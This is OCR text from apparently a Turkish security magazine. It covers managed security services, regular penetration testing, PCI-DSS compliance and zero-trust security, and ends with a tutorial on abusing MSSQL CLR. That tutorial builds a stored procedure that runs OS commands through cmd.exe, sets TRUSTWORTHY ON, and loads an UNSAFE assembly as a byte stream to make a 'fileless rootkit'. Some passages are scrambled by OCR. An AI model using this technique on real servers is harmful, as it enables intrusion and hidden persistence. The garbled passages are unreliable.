yanit veremedik/engel olamadik diyerek hasar
tespit calismalarina baglayan kurumlar kervanina
katilmak zorunda kalacaklardir.

Yatirimlarinizin ve ¢alismalarinizin sizlere en
yliksek faydayr getirmesini ve gtivende kalmanizi
dilerim.

Uzmanlik gerektiren her is icin farkl bir calisan
istihdam etmek ya da kisa sureli danismanliklar
ile gegici ¢oziimler elde etmek yerine, kurumsal
bir yapida hizmet almak degerlendirilmesi
gereken 6nemli bir glivenlik yatirimi ve karari
olarak da bircok giivenlik yoneticisinin ajandasinda
yer almaktadir.

Hizmet tercihi yaparken belli sorulara da
yanit bulunmasi yatirim planlayan kurumlar
acisindan son derece énemlidir. Risk transferinde
paydaslarin Ustlenecegi sorumluluklar, mevcut
teknolojik altyapr ile uyum ve yapilmasi gereken
ek yatirimlar, SLA seviyeleri, erisilebilirlik, ekip
yetkinligi ve tespit/miidahale sureleri bu
sorularin basinda gelirken, degerlendirmeler
mutlaka daha genis bir kapsamda yapilmalidir.
Global gecerlilige sahip sertifikalar ve referanslar,
bu noktada karar vericiler icin ylksek 6neme
sahip olmalidir. Ayrica, hizmet alinacak kurumlarin
hizmet sunduklari musteri sektorleri de yine
dikkate alinmasi gereken noktalar arasindadir.
Alinacak hizmet ve bu hizmeti dogru bir kanaldan
almak kolay kararlar olmasa da dogru segime
ulasmak yeterli zaman ve dogru bir deger-
lendirme ile miimkiin olabilmektedir.

Uygulamalariniza, servislerinize, envanterinize

ve aldiginiz hizmetlere strekli olarak hakim
olabilmenizi ve glivende kalmanizi dilerim.
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Deneycilik (Ampirizm), bilginin  duyumlar
sayesinde ve deneyimle kazanilabilecegini
savunan bir gorUstr. Sofistler ve Stoacilarda
karsimiza ¢ikan Ampirizm disiincesi cogunlukla
Demokritos ve Epikuros ile anilsa da, yeni cagda
sahip oldugu degere ve 6neme Ingiliz felsefeci
John Locke ile kavugmustur. Bilginin ancak ve
ancak deney ve gozlem ile ortaya ¢iktigini ve
dogustan sahip olunmadigini belirten disundr,
aydinlanma c¢aginin da baslangicindaki atesi
yakmistir.

GUnumizde deney, test ve gdzlem olmadan
bilim yapilamadigi gibi, siber guvenlik agisindan
da test ve denetimler olmazsa olmaz bilegenlerdir.
Savunma hattinin kurgulanmasi ve bu kurguya
istinaden gerekli yatirimlarin yapilmasi, Griin
ve hizmetlerin alinmasi, kurulum ve konfiglra-
syonlarin yapilmasi, insan kaynagl organi-
zasyonu ve sirekli gelisiminin egitimler ile
saglanmasi ve kurum genelinde farkindalk
calismalarina ek olarak stirekli test ve denetimlere
tabi tutulmasi glivenlik zincirinin kritik halkalarini
olusturmaktadir.

Kurumlarin digaridan ve igeriden dizenli
glvenlik taramalarina tabi tutulmasi birgok
standart tarafindan 6nerilmekte iken, finans,
bankacilik ve enerji gibi kritik sektorlerde de
regllator kurumlar tarafindan zorunlu hale
getirilmistir.

Bununla birlikte, gtivenlik taramalarinin kurumlar
agisindan yapilmasi zorunlu bir is olarak
gorllmekten ¢ikmasi ve rutin bir operasyona
doénusmesi ¢cok daha faydali olacaktir. Zira
saldirganlar senede bir ya da iki kez kapilarini
calip bir daha ugramamak tzere kurumlari
terk etmemektedir. Diizenli taramalar sayesinde,
hem yeni ¢ikan zafiyetlerden kurumun etkilenip
etkilenmedigi hem de olasi konfiglirasyon
degisiklikleri sonras istenmeyen yetkilerin verilip
verilmedigi gorilebilecektir. Detayl testler
sayesinde ise, saldirganlar tarafindan hedefe
alinmis bir kurumun ne tir sikintilar yagayabilecegi
ortaya konacaktir.

Testler igin otomatize araglarin kullaniminin
yani sira, uzmanligini bu dogrultuda ispatlamig
glvenilir hizmet saglayicilar ile de periyodik
olarak calisiimasi, farkli bakis agilarinin ve
yaklasimlarinin gériilmesi agisindan da yararli
olmaktadir. Unutulmamalidir ki, sizma testi
uzmanlari da her konuda uzman olamazlar ve
ancak farkll uzmanliklara sahip yetkin bir ekibin
bir araya gelmesi ile kurum yapilarini detaylica
test edebilirler.

Guvenlik suregleri ile birlikte operasyonlarin
ve alinan hizmetlerin de diizenli olarak hem
glvenlik yetkilileri hem de kurum denetim
birimleri tarafindan denetime tabi tutulmasi
ve 6nceden belirenen ydnetmelik ve prosediirlere
uygun sekilde yonetildiginden emin olunmasi
gerekmektedir.

Testler ve denetimler sonrasinda ortaya ¢ikan
bulgularin yetkili birimler tarafindan detayli
bir sekilde incelenmesi, acikliklarin operasyonel
ya da farkli bir sebepten dolayl meydana gelip
gelmedigi netlestiriimeli ve gerekli aksiyon
plani yapilarak en kisa sirede kapatiimasi
hedeflenmelidir. Bu noktada denetim birimlerine
ve yOneticilere de son derece 6nemli bir rol
dismektedir.

Bu yazi dizimizde, kurumlar agisindan siber
glivenlik diinyasinda bir savunma hatti kurgusunda
ihtiyag duyulabilecek temel bilesenleri ve ilk
gereksinimlerden bahsetmeye calistik. Tabii
ki her bir bagligin altinda sayfalarca daha yazabilir
ya da yepyeni basliklar ekleyebiliriz. Bununla
birlikte bize ayrilan bu sayfalar gibi kurumlar
acisindan da zaman ve biitce gibi bircok kisit
oldugunu da goz ardi etmemeliyiz. Kisitlarinizin
nispeten sinirli oldugu bir diinyada glivende
kalmanizi dilerim.
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=> Dosya Konusu

PCI-DSS Guvenlik

Sertifikasi

Teknoloji ve dijital alandaki gelismeler online
ticaret alaninda sinirsiz imkanlar sunmus ve
e-ticaret isi bu cercevede son 10 yildir her
sene katlanarak buyimustir. Kendi evinde
actigl firma ile pazar yerinden satis yapanlardan
tutun da glinde yizbinlerce siparis alan firmalara
kadar bircok olusum meydana gelmistir.
Cesitliligin artmasi ile tiketiciler igin de online
sitelerden urtin almak hic bu kadar kolay hizli
ve gesitli olmamistl. Bu kadar cok midisterinin
alisveris yaptig! e-ticaret sektoriinde kredi karti
ile yapilan 6demeler. Gnemli bir yer tutmaktadir.
Kredi kartlarinin sitelerde kullaniimasi ve aligveris
oddemelerinin sitelerin kendi yazilimlarindan
gergeklestirimesi de veri agiklar ve kart bilgilerinin
sizmasl gibi tehlikeler meydana getirmektedir.

2017 yilinda yapilan bir calismaya gore ele gegirilen
her kredi karti bilgisinin, isletmeye ortalama
172 USD maliyet olustugu hesaplanmistir.

E-Ticaret igin PCI Uyumlulugunun Onemi
nedir?

E-Ticaret sektori kolay ve hizli kazang pesinde
olan bilgisayar korsanlarinin (hacker) kredi kartlari
gibi hassas bilgileri ele gecirmek icin en ¢ok
saldirdig1 sektordir. Trustwave tarafindan yapilan
arastirmada e-ticaret sitelerinin trafiginin %4'u
korsanlar tarafindan olusturulan ve givenlik
aciklarini tarayan trafik oldugu gozlemlenmistir.
Ayrica ayni firma tarafindan yapilan arastirmada
bu veri kayiplarininin %90'inin KOBI'lerin bagina
geldigi gorulmustir (%45 Perakende, %24
Gida ve Restoran). Meydana gelen veri kaybi
sonucu ortalama olarak firmalar isi ¢6zene kadar
36000 USD zarar etmektedirler. Ponemon
tarafindan yapilan arastirma géstermistir ki, diisiik
guvenlikli sitelerden alisveris yapan firma
musterilerinin %57'si firmaya olan guvenini
kaybetmektedir, %31'i bir daha o firmadan
hic aligveris yapmamaktadir ve veri kaybina
ugrayan firmalarin %75'i bu olaydan ciddi
zararla ckmaktadir. internet saldirilarinin ve saldin
cesitlerinin her gecen giin cogaldigi ginimuizde,
PCl uyumlu bir sitenin 6nemi artmaktadir.
Experian tarafindan yapilan arastirmalar géstermistir
ki yeterli glivenlik &nlemi olmayan siteler 6deme
sayfasinda %27 musteri kaybina ugramaktadir.

PCI DSS (Payment Card Industry - Data Security
Standard) yani Odeme Kartlari Sektori Veri
Guvenligi Standartlari, kredi kartlari ile ilgili
islemleri glivenligi ve kart bilgileri saklama
standartlarini diizenleyen bir kurumdur.

Size bu makalede asagidaki konularla ilgili
bilgileri aktaracagiz:

» PCI DSS igin temel gereksinimler

+ PCl Uyumlu bir e-ticaret sitesinin size olan katkisi
« PCI DSS olan sitelerin kars! karsiya kaldiklari
riskler

+ PCI DSS uyumluluk seviyeleri ve ne anlama
geldikleri

« Karsilastirmali PCI DSS kontrol listeleri

Glnumuzdeki saldiri gesitleri ve sikliklari:

Temel olarak bakildiginda korsanlar ya direkt
olarak sitenize girilen kredi karti bilgilerini
almakta yada musterinin kredi karti girmesi icin
onlar baska sitelere yonlendirerek oraya girilen
bilgileri almaktadir. Bu da 6zellikle KOBI'ler
tarafindan kurulan sitelerin neden daha gok
risk altinda oldugunu daha iyi gostermektedir.
PCl uyumlu bir siteden yapilan aligveriste ise
e-ticaret siteleri endustrinin belirledigi son
standartlari kullandiklari icin musteri bilgileri
cok daha guvenli standartlarda alinmakta,
tutulmakta ve diger entegrator firmalara
gonderilmektedir.

r L]

)
L Yiksel Eminoglu

PCI DSS Uyumlulugu Nedir

\

PClI DSS kredi karti islemleri yapan, kart
bilgilerini kaydeden .veya banka # 0deme
kuruluslarina bu bilgileri transfer eden firmalarin
uymas! gereken kurallar bttnddur. PCI DSS en
etkin olarak kullanildig1 alan e-ticaret siteleridir.
Burada Amag siteden aligveris yapacak kullanicilar
icin ve site sahibi isletmeler icin guvenli
ortamlari olu§turmiakt|r. .

PCI Guvenlik standartlari kurulu 2006 yilinda
Visa, Master, JCB International, Discover ve
American Express tarafindan_e-ticaret PCl
uyumlulugunu denetlerpek icin‘kurulmustur.

PCl uyumlulugu da e-ticaret yapan her firma icin
zorunlu olarak belilenmistir. Dogrudan yukaridaki
marka sahipleri ile degil fakat entegratorler
(Tiirkiye'de lyzico, PayTR, ipara vb) ile islem yapan,
kisacasi kredi karti ile islem*yapan her firma
icin zorunludur. 3

PCI DSS Uyumsuz Olmanin Riskleri ve
Cezalari

internet vasitasiyla 6deme alan her firma ve

kurulugun PCl kurallarina uymasiibir zorunluluktur.
[}

Uyumsuz olan firmalarin karsi karsiya kaldiklari

riskler ise:

« Forensic sorusturma yapma zorunlulugu
+ Maddi cezalar

« Kredi karti ile satis yapma yasagi
 Musterilere bilgi verme zorunlulugu

* Yeterlilik icin yeniden degerlendirilme

+ Kart sahiplerinin zararlarinin tazmin edilmesi
 Hukuksal yaptirimlar
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PCI DSS Uyumluluk Seviyeleri

4 Levels of PClI Compliance

Moernibare LEVEL 1 LEVEL 2 LEVEL 3 LEVEL 4

MODERATT

PCI DSS uyumluluk seviyeleri 4 ayri seviyeden olugsmaktadir.
En Ust seviye olan Level 1 seviyesi en gelismis PCI DSS sertifi-
kalandirma seviyesidir ve yerinde denetim, dokiimantasyon ve
surekli iyilestirmeyi gerektirir.

PCI DSS Uyumluluk Adimlari

PCI DSS Requirements

Build and maintain o secure network

= Ipmtoll and maoirtoln g frewoll cenfiguroton 1o protert candhokder Sain
= Eean ' s wemdar-uniplied defaulty e oy stim pooswarss and okher
spcuriby pammateh

Protect cardholder data

= Protec stseed cornfokier daha

= Entrypt Wnramicslon of cordhaider dete aoran open, public nitwsrks

Maintain a vulnerability monagement program

= Protect ol kpstemi ogoingt malwire ehd requldndy update anivirus
soffwnre of pragroms

= Dewelop end mainiomn secune syilems and opplicotiors

Implement strong access control meosuras

= Resirict oceess 1o cordhalder dato by Duseeses peed 1o know
= |derrlily and odifealicabe Scerl DS GyRlemm com pehenb

= Hestrict phymiced occess o cosdbodder data

Regularly monitor and test networks

d = Tiogck and menitor ofl 0ccest 1o netwolk ressorees and cordhalder datn

= Regfanby besk secuidy spslem and poocesses

Maintain an information security policy

@ = M 8 palicy thot addnesiin infammaton seoury loe all perusnanal

E-Ticaret siteleri icin PCI DSS sureci karmasik islemler gerektirir
ve 12 ayri adimdan olusmaktadir.

Bu 12 karmasik adim ise PCI DSS icin gerekli olan asagidaki temel
6 sartin saglanmasi icin olusturulmustur:

« Guvenli bir bilgisayar ag yapisi kurup bunun bakimini yapmak
« Kredi karti bilgilerinin muhafaza edilmesi

« Sistem agiklarini gézleme yapisi olusturmak ve bunu dizenli
olarak yapmak

« Erisim yetkilerinin diizenlenmesi ve glclu kurallara baglanmasi
« Reglilasyonlarin takip edilmesi ve bilgisayar aglarinin test edilmesi
« Glvenlik bilgi politikalarinin olusturulmasi

/Q

<z
b /

»

v
<& <

Sonug

Kisaca deginmeye calistigimiz PCI DSS sureci gorildugu gibi
her gtin kendin gelistirilen ve yenileyen bir kurallar bittiniinden
meydana gelmektedir. E-Ticaretin her giin buyidigu bir ortamda
burada gegen kredi karti bilgileri icin de bilgisayar korsanlari
yeni yontemler bulacaklardir. PCI DSS kurallari ile burada amag ;
olusabilecek veri kayiplarini en az kayip ile atlatmaktir. PCI DSS
bir sonu¢ degil bir siirectir ve bu sirecin takip edilmesi ve
yOnetilmesi de e-ticaret site sahiplerine ve bu sitelerden aligverig
yapan firmalara etkin, glincel ve takip edilebilir bir yonetim
saglamaktadir.
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- Dosya Konusu

Sifir-Guven Guvelik

(Zero-Trust Security)
Nedir?

Sifir-Guven Guvenlik(Zero Trust Security), kuruluslarin performanstan ve
kullanici deneyiminden 6diin vermeden aglara, uygulamalara ve ortama
erisim denetimlerini kisitlamasina olanak taniyan daha kapsamli bir BT
glvenlik modeline dogru bir gegistir. Kisacasi, Sifir-Glven yaklagimi
kimseye glivenmez.

Serkan Kirmizigul

Daha fazla kurulus bulut ve kendilerine ait aglarinda fazla islem yaptikca,
guvenlik ekiplerinin kendi aglarina erisimde kime,neye izin verilmesi veya
nasil guvenilmesi gerektiginin kararini belirlemeleri giderek zorlasiyor.
Sonug olarak, artan sayida kurulus, gliven agi mimarilerinin ve kurumsal
guvenlik stratejilerinin bir 6gesi veya bileseni olarak Sifir Gliven'i benimsiyor.

Sifir Given (Zero-Trust) Mimarisi Nedir?

Geleneksel veya cevresel ag glivenligi yaklasimi, saldirganlar agin disinda tutmaya odaklanir, ancak ag icindeki kullanicilara ve
cihazlara karsi savunmasizdir. Geleneksel ag givenligi mimarisi, siber saldirganlarin ihlal edebilecegi bu cevre lzerinde birden ¢ok
guvenlik katmani olusturarak glvenlik duvarlari, VPN'ler, erisim kontrolleri, IDS, IPS, SIEM'ler ve e-posta ag gecitlerinden yararlanir.

Halihazirda uygulanan "Dogrula”, daha sonra “Glven" yaklasimi, varsayilan olarak ag icindeki kullanicilara guivenir. Dogru kullanici
kimlik bilgilerine sahip biri, agin tim noktalarina, uygulama veya cihaz dizisine kabul edilebilir. Sifir-Gliven metodunda ise, bu tip
durumda agin tehlikeye girdigini varsayar ve kullaniciyl veya cihazi saldirgan olmadiklarini kanitlamaya davet eder. Sifir-Glven,
kullanici veya cihaz zaten ag icersinde olsa dahi, bir agdaki kaynaklara erismeye calisirken her kullanici ve cihaz icin kati kimlik dogrulamasi
gerektirir. Sifir-Glven ayrica, bir kullanicinin aga girdikten sonra erisimini sinirlama yetenegi saglayarak, bir aga erisen bir saldirganin
ag uygulamalari boyunca yanal 6zgurligin keyfini ¢ikarmasini onler.

— Geleneksel Ag Guvenligi, ag icindeki saldirilarin ve
Lol . e . &5 kot amach yazilimlarin hareketini kisitlamak icin
ra 3 gereken kontrole sahip degildir. Bir agl fiziksel glvenlik
P . cihazlariyla bolimlere ayirmak, daha gucli gtvenlik
= . m- v s ihlali kontrolline izin verir, ancak maliyetleri hizla
yukseltir ve ¢caligim tekniklerinin mobil hale gelmesi
durumunda yonetimsel zorluklar ortaya cikar.

National Institute of Standards & Technology (NIST) tarafindan belirlenen Sifir-Gliven Mimarisinin ilkeleri sunlardir:

« Tam veri kaynaklari ve bilgi islem hizmetleri kaynak olarak nitelendirilir

« Ag konumundan bagimsiz olarak tim iletisim guvenlidir ve hi¢ bir ag konumu giiven anlamina gelmez.

« Bireysel olarak kurumsal kaynaklara erisim, baglanti bagina esasina gore verilir; erisim izni verilmeden 6nce talepte bulunan kisiye gtiven degerlendirilir.
- Kaynaklara erisim sirasinda, gézlemlenebilir kullanici kimligi durumu ve talep eden sistem dahil olmak diger davranigsal nitelikler kriter
olarak degerlendirilir ve politikalarla yonetilir.

« Kurulus, sahip olunan ve iligkili tim sistemlerin mimkiin olan en giivenli durumda olmasini saglar ve miimkin olan en guvenli durumda
kalmalarini saglamak icin sistemleri strekli izler.

« Kullanici kimlik dogrulamasi dinamiktir ve erisime izin verilmeden once siki bir sekilde uygulanir; bu sirekli bir erisim, tehditleri tarama
ve degerlendirme, uyarlama ve sirekli olarak kimlik dogrulama déngusuddr.
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-> Nasil Yaparim?

Sifir-Guven

Guvenlik Avantajlari

Sifir-Guven, kuruluslarin bulut ve konteyner dagitimlarinin riskini azaltirken ayni zamanda ydnetisimi ve uyumlulugu iyilestirmesine
olanak tanir. Kuruluslar, tehditleri belirlerken ve bir ag tGzerinde kontroll strdiriirken kullanicilar ve cihazlar hakkinda bilgi edinebilir.
Sifir-Guven yaklasimi, bir kurulusun is strreclerini, veri akiglarini, kullanicilari, verileri ve iligkili riskleri tanimlamasina yardimci olabilir. Sifir-Guiven
modeli, tanimlanan iligkili risklere gére otomatik olarak glincellenebilen ilke kurallarinin belirlenmesine yardimci olur.

Geleneksel cevresel ag guvenliginden Sifir-Gliven modeline gecen kuruluslar icin asagidaki yontemleri daha hizli tespit edebilen ve
genellikle izinsiz giris meydana gelmeden 6nce onlari durdurabilen bir giivenlik seviyesine ulasabilirler.

- Calisanlari hedefleyen oltalama e-posta saldirilari(Phising Attack)

« Kurumsal ag Gzerinden yanal hareketle yayihm

« Kurumsal bir makineyi tehlikeye atmak icin kullanilan tekrar shell yénlendirmeleri (Shell redirection)
« Yazilim gelistiriclerinin calinan sifreleri

« Calinan uygulama veritabani kimlik bilgileri

« Glvenligi ihlal edilmis uygulama ana bilgisayari araciliglyla veritabaninin digari sizmasi

« Ayricalikli bir is istasyonu araciliglyla uygulama ana bilgisayarini tehlikeye atma

- Uygulama ana bilgisayari ayricaliklarini yikseltmek i¢in yazilim gelistiricisinin sifresini kullanma

« Ayricalikli is istasyonuna erigim

- Keylogger'i is istasyonunda yerel ayricalik yikseltme (local privilege escalation) yoluyla yikleme

Sifir-Glven yetenekleri, sonug olarak asagidakileri yapmak icin daha iyi etkinlestirilen is strecleri, hizmetler ve sistemler olarak tasarlanabilir:

« Uygulama mikro segmentasyonunu kullanarak veri ihlallerini dnlenebilir ve yanal hareketi sinirlayabilirsiniz

« Ortam genelinde kullanicilar, cihazlar, bilesenler ve is yiklerine ait goriinirliik kazanin. Neyin calistigini ve mevcut politikalari belirlemek
mimkin hale gelir.

- Surekli olarak uzlagsma belirtilerini izleyin ve bunlara yanit verilebilir. Tehditlerin tespit edilmesini ve yanitlanmasini destekleyen gtinlikler,
raporlar ve uyarilar bu amacla kullanilabilir.

« Tutarh bir kullanici deneyimi sunmaya devam ederken kurumsal guvenligi saghyor olursunuz.

+ Yogun ve verimsiz calisim disinda mimari karmasikligr azaltabilirsiniz
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Sifir Giiven'i Uygulamak icin En lyi Uygulama Yéntemleri
Sifir-Gliven guivenlik cercevesi uygulamak isteyen kuruluslar asagidakileri ele almalidir:

Hassas Verileri Tanimlayin — Sifir-Given, bir kurulusun verilerini tanimlamasini ve
onceliklendirmesini gerektirir. Nerede yasadigini ve ona kimin erisimi oldugunu bilin.

Erisimi Sinirlama ve Kontrol Etme — Sifir-Glven guvenlik modeline gegis, tanimlanan
verilere erisimde olacak kullanicilar, cihazlar, uygulamalar ve stirecler icin sinirlar olusturulmasini
gerektirecektir. En az ayricalikli erigsim kontrol modeli "bilinmesi gereken" esaslyla sinirli olacaktir.

Tehditleri Algila — Sifir-Glven, veri erisimi ve paylasimiyla ilgili tim etkinliklerin strekli
izlenmesini, mevcut etkinligi dnceki davranis ve analitiklere dayali temel hatlarla karsilastiril-
masini gerektirir. izleme, davranislar, kurallar ve giivenlik analitiginin birlesimi, ic ve dis
tehditleri algilama yetenegini gelistirir.

Basariyla uygulanan bir Sifir Giiven giivenlik modeli asagidaki
ilkeleri icerir;,

Veri guvenligi analitigini kullanarak tum etkinlikleri
inceleyin ve loglarn kaydedin - Sifir-Gliven modelleri,
trafigin ve aktivitelerin stirekli izlenmesi, incelenmesi ve loglarinin
kaydedilmesini gerektirir. Kotl amagli etkinlik olabilecek anormal
davraniglari belirlemeye yardimci olmak icin kullanici hesabi
temelleri(Baseline) olusturulmalidir. Otomasyon, bu islevleri
glvenlik ekipleri icin verimli ve ekonomik hale getirebilir.

Tum kaynaklara kimligi dogrulanmig erigim - Cok faktorlu kimlik
dogrulama (MFA-Multi Factor Authentication), Sifir-Giiven giivenliginin
temelidir. Sifir-Glven, aga her erisim girisimini bir tehdit olarak
gorur. Geleneksel ag guvenligi, bir kullaniclya erisim saglamak
icin tek bir sifre gerektirebilirken, Sifir-Gliven MFA, kullanicilarin
gercekte iddia ettikleri kisi olduklarini dogrulamak icin cep telefonu
gibi ayri bir cihaza gonderilen bir kodu girmelerini gerektirir.
Zero Trust modelleri ayrica erisim protokollerini ve ag erisim

kontrollerini igerir. Sifir-Glven Metodolojisi kurumsal ag cevlerinin her noktasina

uygulanabilir bir yaklasim olarak karsimiza cikmaktadir.
Konteynir giivenliginden,micro segmentation,software defined
network ve sanal veri merkezlerine kadar genis bir cercevede
degerlendirilebilir. Ornegin bu yaklagimin konteyner giivenligine
nasil uygulandigina g6z atalim.

En az ayricalik kontrollii erigsim - En az miktarda erisime izin
vermek, Sifir-Gliven guvenligi ilkesidir ve verilere ve hizmetlere
yetkisiz erisimi ortadan kaldirma ve denetim uygulamasini
olabildigince ayrintili hale getirme becerisidir. Sifir-Gliven aglari,
erisim haklarina yalnizca kesinlikle gerekli oldugunda izin verir
ve erisim izni vermeden 6nce sistemlerine baglanmak icin tim
istekleri dogrular. Agin ayri bolimlerine ayri erisim saglamak
icin glvenlik cevrelerini daha kiclk bdélgelere indirgemek, ag
boyunca yandan erisimi sinirlar. Calisim metodlari mobil hale
geldikce bélimlere ayrilmis givenlik daha 6nemli hale gelir.

Gartner, kiresel kuruluslarin % 75'inin 2022'ye kadar
Konteynira alinmis uygulamalar calistiracagini ve dolayisiya
daha hizli, artirilmis 6lceklenebilirlik, guvenilirlik ve
esneklikten yararlanacagini tahmin ediyor. Mikro hizmetler-
in(Micro Services) ve konteynirlarin benimsenmesi

Sifir-Gliven Konteyner
Giivenligine Nasil Uygulanir

Son arastirmalara gore, genel bulut(Public Cloud)

hizmetlerini kullanan 4 sirketten 1'i kétu niyetli bir aktor
tarafindan veri hirsizigl problemi yasadi. Her 5 kisiden
1'i, genel bulut altyapilarina karsi gelismis bir saldiri
yasadl. Ayni calismada, kuruluslarin %83'U hassas bilgileri
bulutta sakladiklarini belirtti. Bugliin diinya capinda
bulut hizmetlerini kullanan kuruluslarin bulut biligsim
guvenligini degerlendirmesi ve verilerini korumak icin
bir strateji gelistirmesi cok dnemlidir.

Bilgilerini birden ¢ok bulut saticisina tasimis artan sayidaki
kuruluslar, tim ag Uzerinde tek glvenlik kontrollerini
kullanmanin zorluguyla kars! karstyadir. Bulutta Sifir-Giiven
kullanmanin degeri, yalnizca bir kurulusun bulut gtvenligini
artirmakla kalmaz, ayni zamanda kurumsal uygulamalari,
performansi kaybetmeden veya kullanici deneyimini
olumsuz yonde etkilemeden tam olarak kullanmasini
saglar.

dolayisiyla geleneksel cevre korumasinin dtesinde bir
Sifir-Glven givenlik yaklagimi gerektirir.

Zero Trust yaklasiminda, konteynirlar ve bilesenleri icin
calistiklari her yerde ayrintili baglamsal gorinirlik ve
davranigsal nano segmentasyon saglayan bir kimlik
gerektirir. Konteyner bilesenlerinin giivenlik agigi degerlendir-
ilebilir. Konteynere gémili kod, derleme zamaninda
degerlendirilebilir ve bilinen risklerin aciga cikarildigindan
veya azaltildigindan emin olmak icin periyodik olarak
kontrol edilebilir ve boylece kéti niyetli kisilerin konteyner
is yUkiinden sizma firsatlarini azaltir. Otomatik uygulama
kesfi / Nano segmentasyon, kuruluslarin, dis faktorlere
bagli kalmadan konteyner stirecleri arasindaki ag iletisimi-
nin davranisini kesfetmesine ve izlemesine yardimci olur.

Konteynir kullanimi gibi yenilik¢i teknolojilerin getirdigi avantajlarin yaninda bir cok bilinmeyen ve az gorinur tehdit
ylUzeyleri ancak yine Zero-Trust gibi yenilik¢i glivenlik yaklasimlariyla bertaraf edilecegi asikardir.
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CLR

CLR (Common Language Runtime — Ortak Dil Calisma Zamani) MSSQL Server 2005 ile hayatimiza giren ve MSSQL Server 2016'da da
mevcut olan, .NET Framework'lin kod ylriitme ortamini saglar. Yani MSSQL Uzerinden .NET Framework objelerini isleyip, calistirmamizi saglar.
MSSQL CLR ile herhangi bir NET DLL'ini iceri aktarma yada T-SQL ile kod calistirma islemlerini gerceklestirebiliriz.

CLR Tabanli DLL Nedir?

CLR Tabanli DLL; MSSQL icin C#, VB.NET vb. .NET dillerinden birini kullanilarak sakli yordamlar (stored procedure), tetikleyiciler (triggers)
vb. T-SQL climlelerinin .NET ¢atisi Gzerinden calistiriimasini saglar. CLR tabanli olusturacagimiz bir DLL ile, MSSQL'den DLL dosyasina
stored procedure yada benzeri T-SQL climleleri gdndererek, bu ciimlelerin calismasini saglayabiliriz. Benim icin ampullerin yandigi yer de
tam olarak burasi oldu. $éyle distindim, ben eger MSSQL Uzerinden herhangi bir .NET objesi calistirabiliyorsam, o zaman istedigim
herhangi bir kodu igletim sisteminde de calistirabilirim. Hatta biraz daha ileri giderek, .NET'in tim glclni kullanabilir ve kendi Rootkit'imi
olusturabilirim. Peki nasil yapacagiz?

CLR Tabanli DLL Olusturma

Fasim Propect

AR OISl Borecows

Bu adimlardan sonra artik CLR tabanli DLL dosyamiz
hazir durumdadir. Artik kodlamaya baslayabiliriz.

Projemizi olusturduktan sonra sag tiklayip Add > New Item > SQL
CLR C# > SQL CLR C# Stored Procedure adimini takip ediyoruz.
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Komut Isleyicisi

Stored Procedure’'imiizden DLL'e gdnderilecek komutlari isleyecek bir metod yazmamiz gerekiyor. Bunun olusturmamizin sebebi MSSQL (izerinden
iletilen isletim sistemi komutlarini calistirmamiz gerekmesindendir.

SglContext.Pipe.Send("Command is running, please wait.");
it (Istring.IsNullOrEmpty(cmd))
{

Sglcontext.Pipe.Send(RunCommand("cmd.exe”, " /c " + cmd));

RunCommand(string filename, string hrgumentﬁhl.f

“CmdExec” adinda ve “cmd” parametresine sahip bir static method tanimladim. Bu static methoda gelen komutlar “RunCommand” static
methoduna iletiliyor. Bdylece input olarak gonderilen komutu parametreleri ile birlikte bir process Gizerinden calistirip, sonuclari dondirebilecegiz.
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RunCommand metoduna génderilen komutlar ile
Process() sinifindan bir process olusturup, cmd.exe
Gzerinden calismasini ve ciktinin bize MSSQL P rocess();
Uzerinden geri dondurilmesini saghyoruz.

RunCommarsd {

p StartInfo.FileName File
Assemblies - Stored Procedures - TRUST- t -TshullorEmpty (argus
WORTHY iligkisi i

s Atartinfo.Arguments

SQL CLR C# Stored Procedure kullanarak .NET
DLL'imizin basic halini olusturduk. Ancak bu dll
tek bagina isimize yaramaycaktir. DLL'i MSSQL'e kayit
ettirerek stored procedure’imizi olusturacak
T-SQL'e ihtiyacimiz var. MSSQL izerinden CLR tabanli
DLL dosyalarin olugturulmasina ve galistiriimasina
izin vermemiz gerekiyor. MSSQL Server 2016 ; -
varsayllanda CLR tabanli DLL dosyalarini calistirmaz, . el i PR o p g e e e
disable olarak gelir. Bu ayari degistirmek igin
asagidaki koddan yararlaniyoruz.

sp_configure 'clr enabled', 1
G0

RECONFIGURE

G0

tdErrar pr v Read ToEnd () ;
Waitror

Yukaridaki kod ile “clr enabled” parametresini aktif
hale getiriyoruz. Bu islemin ardindan DLL dosyalarimiz
Assemblies olarak MSSQL'e eklenebilir.

TRUSTWORTHY; MSSQL veritabaninda yer alan veritabanlarinin giivenli olarak isaretlenmesini saglar. Glvenli olarak isaretlenmis veritabanlari objelere,
ag ve islem kaynaklarina erisebilir. Trustworthy ile veritabanini glivenli olarak isaretlemek icin asagidaki kodu kullanabiliriz.

ALTER DATABASE master SET TRUSTWORTHY ON;

Bu isleminde ardindan hazifladigimiz DLL dosyasini MSSQL'e Assemblies olarak tanitmamiz gerekecek. isin en giizel tarafi burasi diyebilirim. MSSQL'de
Assemblies (NET DLL) tanimlamanin 3 farkli yéntemi mevcut. Yani olusturdugumuz DLL dosyasini 3 farkli yontem kullanarak veritabanina ytkleyebiliriz.

- DLL Dosyasini Byte Stream Olarak MSSQL'e Yiikleme

Olusturdugumuz DLL dosyasini MSSQL'e bir Byte Stream halinde yiikleyebiliriz. Bunun icin ayr bir projede olusturdugumuz DLL dosyasini File.ReadAllBytes()
sinifi ile cagirmamiz gerekiyor.

bytestream -BitConverter.Tostring(File.ReadAl lRytes(

KyRiPe \Projects\WarsQLKit\WarsQLKit\bin\Debug\WarsQLKit.d117)).Replace(™-",""

"y byteStream);

Ayri bir projede olusturdugumuz DLL dosyasini byte Stream tiriinden okuyarak byteStream.txt dosyasina yazdirdim. Artik elimizde DLL dosyasinin
byte Stream'i mevcut. MSSQL'e herhangi bir DLL yliklemeden bu byte Stream ile Assemblies'e DLL dosyamizi kaydettirebilecegiz. Bunun icin birkag
SQL koduna ihtiyacimiz olacaktir.

Not: Bu yontem ile MSSQL'de herhangi bir DLL dosyas! olusturmadan sadece Stream olarak DLL dosyamizi tutacagiz. Bdylece Rootkit'imiz tamamen
fileless olacaktir.

CREATE ASSEMBLY sp_cmdExec

FROM 0x4D5A90000300000004000000FFFFO000B800000000000
WITH PERMISSION_SET = UNSAFE

GO

CREATE ASSEMBLY komutu ile “sp_cmdExec” adinda bir Assemblies olusturuyoruz. Ardindan FROM komutu ile dosyaya yazdirdigimiz byte
Stream'’i sececegiz. Burada dikkat etmemiz gereken en 6nemli nokta sudur; text dosyasina yazdirdigimiz byte Stream’in basinda “0x” bulunmamaktadir.
